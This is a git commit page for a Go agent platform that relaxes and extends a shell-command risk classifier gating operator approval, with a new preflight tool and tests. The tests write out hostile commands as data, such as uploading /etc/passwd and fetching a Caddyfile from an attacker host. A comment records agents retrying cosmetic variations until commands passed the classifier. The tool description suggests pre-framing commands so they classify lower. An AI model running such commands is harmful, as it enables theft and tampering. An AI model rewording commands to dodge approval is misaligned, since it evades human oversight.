feat(nomos): session-review improvements (P0/P1/P2 from 2026-07-20 audit)
Some checks failed
ci / build-test (push) Has been cancelled
ci / docker-build (push) Has been cancelled
ci / web (push) Has been cancelled
Desktop App / Build Linux (amd64) (push) Has been cancelled
Desktop App / Attach to Release (push) Has been cancelled

Classifier now unwraps pct exec / qm guest exec / bash -c / sh -c / sudo
and env-var assignments before classification, so read-only inspection
wrapped in pct exec no longer escalates to config_mutation. curl GET
(default method, no -d/-F/-T/-o/>) is read-only. Eliminates the three
duplicate rclone sessions (a51e2086, 8acea2e3, cb8c8a4a) that bounced
off the classifier for the same goal.

New classify_command MCP tool: command-scoped preflight that returns the
exact risk class run would assign. Documented in SOUL.md with guidance
to pre-classify before run when the verdict is uncertain.

set_goal surfaces prior partial/failed sessions from the last 24h so the
agent picks up the thread instead of rediscovering it.

completeTask auto-closes in-flight plan steps (pending/running -> done
on success, skipped on partial/failure), so one-step plans no longer
need the per-step running->done dance right before completion.

Migration 021 adds blocker + closed_at to agent_sessions. completeTask
sets closed_at once and derives a structured blocker reason
(approval_timeout, user_abandoned, classifier_overreach, model_refusal,
tool_error, ...) from the last assistant message.

/sessions list now carries message_count, tool_call_count,
duration_seconds (server-side aggregates — no more N+1 transcript
fetches to audit a fleet). GET /sessions/{id} returns both metadata
and messages. New query params filter + paginate: outcome, status,
entity_id, blocker, since (RFC3339 or Go duration), cursor, limit.

Titles now prefer the goal when set; sessions without a goal fall back
to the first assistant text.

New GET /sessions/{id}/tool_calls flat view for audit scripts.

Plan: plans/2026-07-20-session-review-ten-sessions.md. VERSION 0.7.12 -> 0.7.13.
This commit is contained in:
2026-07-20 11:32:31 +02:00
parent 9f4d645d06
commit e055a7c6ce
11 changed files with 1116 additions and 48 deletions

View File

@@ -7,6 +7,7 @@ import (
"strings"
"github.com/dtoro/oikos/internal/db"
"github.com/dtoro/oikos/internal/policy"
"github.com/google/uuid"
"github.com/modelcontextprotocol/go-sdk/mcp"
)
@@ -704,6 +705,48 @@ func allTools(pool *db.Pool, agentID uuid.UUID) []toolReg {
FROM entities e WHERE e.slug = $1`, slug, action), nil
}},
// classify_command is the command-scoped preflight from
// plans/2026-07-20-session-review-ten-sessions.md P0.2. The
// existing `preflight` tool is entity/action-scoped — useless when
// the agent is composing a `run` command and needs to know whether
// the classifier will accept it before submitting. Without this,
// the agent has to retry with cosmetic variations until it finds
// one that passes (see sessions a51e2086, 8acea2e3 — three
// duplicate rclone sessions, all bouncing off the classifier).
// Call this BEFORE `run` whenever the classification is uncertain.
{tool: &mcp.Tool{Name: "classify_command", Description: "Pre-flight risk classification for a shell command BEFORE calling run. Returns the risk class (read_only / reversible_low / config_mutation / destructive) that `run` would assign. Use this when you're unsure whether a command will auto-execute or need approval — e.g. `pct exec`, `curl`, compound commands, or anything that might be mistaken for mutation. If this returns read_only, the same command will auto-execute via run with no approval; if it returns config_mutation, expect to need operator approval (or pre-frame the command so it classifies lower). Declared risk can only escalate, never de-escalate.",
InputSchema: objSchema(
prop{"command", "string", "The exact shell command you intend to pass to run."},
prop{"declared_risk", "string", "Optional self-assessment you would pass to run (read_only, reversible_low, config_mutation, destructive). Mirrors run's declared_risk parameter."},
),
}, handler: func(ctx context.Context, req *mcp.CallToolRequest) (*mcp.CallToolResult, error) {
args := argsMap(req)
command, _ := args["command"].(string)
declaredRisk, _ := args["declared_risk"].(string)
if command == "" {
return textResult("error: command is required"), nil
}
risk := policy.ClassifyCommand(command, declaredRisk)
note := ""
switch risk {
case policy.RiskReadOnly:
note = "auto-acts on `run` (no approval needed)."
case policy.RiskReversibleLow:
note = "auto-acts on `run` (no approval needed)."
case policy.RiskConfigMutation:
note = "requires operator approval on `run` (or loose assent window active)."
case policy.RiskDestructive:
note = "requires explicit operator confirmation on `run` (typed \"I confirm\" phrase)."
}
out, _ := json.Marshal(map[string]any{
"command": command,
"declared_risk": declaredRisk,
"risk_class": risk,
"note": note,
})
return textResult(string(out)), nil
}},
{tool: &mcp.Tool{Name: "get_change_history", Description: "Last N change-ledger entries for an entity",
InputSchema: objSchema(
prop{"entity_slug", "string", "Entity slug"},

View File

@@ -77,8 +77,40 @@ var readOnlyLeadPattern = regexp.MustCompile(
`docker\s+compose\s+(logs|ps|top|config|images|port|cp)\b|` +
`pct\s+(status|config|list)|qm\s+(status|config|list)|pvesh\s+get|` +
`rclone\s+(ls|lsl|md5sum|check|cryptcheck)\b|` +
`git\s+(status|log|diff|show|branch|remote)|` +
`curl\s+-.*-I\b|curl\s+.*--head\b)\b`)
`git\s+(status|log|diff|show|branch|remote))\b`)
// envAssignRe matches leading FOO=bar env-var assignments so they can be
// stripped before the read-only verb check.
var envAssignRe = regexp.MustCompile(`^(\w+=\S+\s+)+`)
// pctExecRe matches "pct exec <id> [--] <inner>" and captures <inner>. The
// id is a decimal digit string (Proxmox CT ids). The "--" separator is
// optional but recommended — without it, the rest of the line is the
// command passed to exec. Case-insensitive.
var pctExecRe = regexp.MustCompile(`(?i)^pct\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
// qmGuestExecRe matches "qm guest exec <id> [--] <inner>" similarly.
var qmGuestExecRe = regexp.MustCompile(`(?i)^qm\s+guest\s+exec\s+\d+\s+(?:--\s+)?(.+)$`)
// shellDashCRe matches "bash -c 'cmd'", "sh -c \"cmd\"" etc., capturing
// the quoted inner command. Handles single-quoted, double-quoted, and bare
// (unquoted) forms.
var shellDashCRe = regexp.MustCompile(`(?i)^(?:ba)?sh\s+-c\s+(?:"([^"]*)"|'([^']*)'|(\S+))\s*$`)
// curlLeadRe matches a curl command (the verb alone, at the segment start).
var curlLeadRe = regexp.MustCompile(`(?i)^curl\b`)
// curlMutateRe matches curl flags that indicate mutation (POST/PUT/DELETE
// method override, data payloads, form uploads, file uploads, file output).
// When any of these appears, the curl command is no longer read-only.
var curlMutateRe = regexp.MustCompile(`(?i)(?:^|\s)-X\s+(?:post|put|delete|patch|connect|trace)\b|(?:^|\s)-(?:d|F|T|o)\b|(?:^|\s)--(?:data[-a-z]*|request|form|upload-file|output)\b`)
// redirectOutRe matches shell output redirection to a file (> or >> followed
// by a path), but excludes the file-descriptor merge form `>&<digit>` (e.g.
// `2>&1`) which only rearranges streams and writes nothing to disk. RE2 has
// no lookahead, so we encode the exclusion by requiring the post-`>` char to
// be neither `&` nor whitespace.
var redirectOutRe = regexp.MustCompile(`(^|[^-])>>?\s*[^&\s]`)
// compoundSplitRe splits a command on shell chaining operators (;, &&, ||, |)
// so each segment can be individually classified. A piped or chained command
@@ -130,16 +162,29 @@ func computeCommandRisk(command string) string {
return RiskConfigMutation
}
// Unwrap known wrappers (pct exec <id> --, qm guest exec <id> --,
// bash -c '…', sh -c '…', sudo, env assignments) so the classifier
// scores the *actual* command, not the wrapper. Without this, every
// `pct exec 132 systemctl status rclone-backup.timer` escalates to
// config_mutation even though the inner command is read-only inspection.
// See plans/2026-07-20-session-review-ten-sessions.md P0.1 — three
// sessions bounced off the classifier because read-only `pct exec` and
// `curl` were gated as config_mutation.
inner := unwrapCommand(cmd)
for _, p := range destructivePatterns {
if p.MatchString(cmd) {
// Match on both the raw and unwrapped forms so that
// `pct exec 121 -- rm -rf /` is still destructive even if the
// unwrapping somehow hid it.
if p.MatchString(inner) || p.MatchString(cmd) {
return RiskDestructive
}
}
// Subshell substitution ($(), backticks) can hide arbitrary execution —
// never auto-run, even if the visible verbs look read-only.
if !subshellRe.MatchString(cmd) {
if allSegmentsReadOnly(cmd) {
if !subshellRe.MatchString(inner) {
if allSegmentsReadOnly(inner) {
return RiskReadOnly
}
}
@@ -149,6 +194,70 @@ func computeCommandRisk(command string) string {
return RiskConfigMutation
}
// unwrapCommand peels known command wrappers to expose the inner command
// for classification. It repeatedly strips:
// - leading sudo
// - leading FOO=bar env-var assignments
// - `pct exec <id> [--] <inner>` → <inner>
// - `qm guest exec <id> [--] <inner>` → <inner>
// - `bash -c 'cmd'` / `sh -c "cmd"` → <cmd>
//
// When no wrapper is detected, the input is returned unchanged. The peel
// is iterative so "sudo pct exec 121 -- bash -c 'echo hi'" reduces to
// "echo hi" after a few passes. Compound commands (containing ;, &&, ||,
// |) are returned unchanged — they need per-segment classification, which
// the caller handles.
func unwrapCommand(cmd string) string {
probe := strings.TrimSpace(cmd)
// A compound command cannot be unwrapped as a whole — the inner
// command of "pct exec 121 -- foo; rm -rf /" depends on which side of
// the ";" you're on. The caller splits compounds before classifying
// each segment, and each segment is unwrapped independently. Bail out
// here so we don't unwrap "pct exec 121 -- foo" and lose the rest.
if compoundOpPattern.MatchString(probe) {
return probe
}
for i := 0; i < 8; i++ { // bounded unwrap depth
next := peelOneWrapper(probe)
if next == probe {
return probe
}
probe = strings.TrimSpace(next)
}
return probe
}
// peelOneWrapper applies one peel step. Returns the input unchanged if no
// wrapper matched.
func peelOneWrapper(probe string) string {
// sudo prefix
if stripped := strings.TrimPrefix(probe, "sudo "); stripped != probe {
return strings.TrimSpace(stripped)
}
// Env assignments: FOO=bar BAZ=qux <cmd>
if envAssignRe.MatchString(probe) {
return envAssignRe.ReplaceAllString(probe, "")
}
// pct exec <id> [--] <inner>
if m := pctExecRe.FindStringSubmatch(probe); m != nil {
return m[1]
}
// qm guest exec <id> [--] <inner>
if m := qmGuestExecRe.FindStringSubmatch(probe); m != nil {
return m[1]
}
// bash -c 'cmd' / sh -c "cmd" / sh -c cmd
if m := shellDashCRe.FindStringSubmatch(probe); m != nil {
// m[1] is the double-quoted form, m[2] is single-quoted, m[3] is bare.
for _, g := range m[1:] {
if g != "" {
return g
}
}
}
return probe
}
// allSegmentsReadOnly splits a compound command on chaining operators
// (;, &&, ||, |) and checks whether EVERY segment is a recognized read-only
// inspection verb. If so, the whole command is safe to auto-run. Any segment
@@ -161,14 +270,49 @@ func allSegmentsReadOnly(cmd string) bool {
if seg == "" {
continue
}
// Unwrap wrappers per-segment too — "pct exec 121 -- systemctl
// status caddy; pct exec 122 -- journalctl -u caddy" should reduce
// to two read-only segments after unwrapping each.
seg = unwrapCommand(seg)
// Strip a leading sudo/env assignment so "sudo cat /x" still matches.
probe := seg
probe = regexp.MustCompile(`^sudo\s+`).ReplaceAllString(probe, "")
probe = regexp.MustCompile(`^(\w+=\S+\s+)+`).ReplaceAllString(probe, "")
probe = strings.TrimPrefix(probe, "sudo ")
probe = envAssignRe.ReplaceAllString(probe, "")
probe = strings.TrimSpace(probe)
// curl is handled by a dedicated check because GET (the default) is
// read-only but POST/data/upload flags are not. The general
// readOnlyLeadPattern can't distinguish these.
if curlLeadRe.MatchString(probe) {
if !curlIsReadOnly(probe) {
return false
}
continue
}
// Any output redirection makes a verb non-read-only even if the
// verb itself is (e.g. "curl url > /etc/passwd").
if redirectOutRe.MatchString(probe) {
return false
}
if !readOnlyLeadPattern.MatchString(probe) {
return false
}
}
return len(segments) > 0
}
// curlIsReadOnly returns true if a curl command performs a GET (or HEAD)
// without data/upload/output flags. POST/PUT/DELETE method overrides, -d/--data
// payloads, -F/--form uploads, -T/--upload-file transfers, and -o/--output
// file writes all disqualify the read-only path.
func curlIsReadOnly(curlCmd string) bool {
if !curlLeadRe.MatchString(curlCmd) {
return false
}
if curlMutateRe.MatchString(curlCmd) {
return false
}
if redirectOutRe.MatchString(curlCmd) {
return false
}
return true
}

View File

@@ -32,6 +32,20 @@ func TestClassifyCommand_ReadOnly(t *testing.T) {
"docker compose ps",
"docker compose top",
"docker compose config",
// curl GET is read-only (P0.1 — plans/2026-07-20-session-review-ten-sessions.md).
"curl http://192.168.8.214:5572/rc/core/stats",
"curl -fsSL https://example.com/",
"curl -I http://example.com/",
"curl --head http://example.com/",
// pct exec with a read-only inner command is now read-only (P0.1).
"pct exec 132 systemctl status rclone-backup.timer",
"pct exec 121 -- systemctl is-active caddy",
"pct exec 121 -- journalctl -u caddy -n 50",
"pct exec 121 -- bash -c 'echo hi'",
"pct exec 121 -- bash -c 'systemctl status caddy'",
"sudo pct exec 121 -- systemctl status caddy",
// qm guest exec on a VM, read-only inner.
"qm guest exec 100 -- systemctl status caddy",
}
for _, c := range cases {
if got := ClassifyCommand(c, ""); got != RiskReadOnly {
@@ -92,7 +106,18 @@ func TestClassifyCommand_DefaultEscalatesToConfigMutation(t *testing.T) {
cases := []string{
"apt-get install -y nginx",
"systemctl restart caddy",
"pct exec 121 -- bash -c 'echo hi'",
// `pct exec` wrapping a mutating inner command is config_mutation
// (was previously config_mutation for ALL pct exec — now classified
// by the inner command). The inner `pct exec 121 -- bash -c
// 'systemctl restart caddy'` reduces to "systemctl restart caddy"
// which is config_mutation.
"pct exec 121 -- bash -c 'systemctl restart caddy'",
"pct exec 132 systemctl restart rclone-backup.service",
// curl with POST/data/upload flags is config_mutation (P0.1).
"curl -X POST http://192.168.8.214:5572/rc/sync/sync -d '{}'",
"curl --upload-file /etc/passwd http://example.com/upload",
"curl -o /etc/caddy/Caddyfile http://attacker.com/Caddyfile",
"curl http://example.com/ > /etc/caddy/Caddyfile",
"sed -i 's/foo/bar/' /etc/caddy/Caddyfile",
"git push origin main",
"docker compose up -d",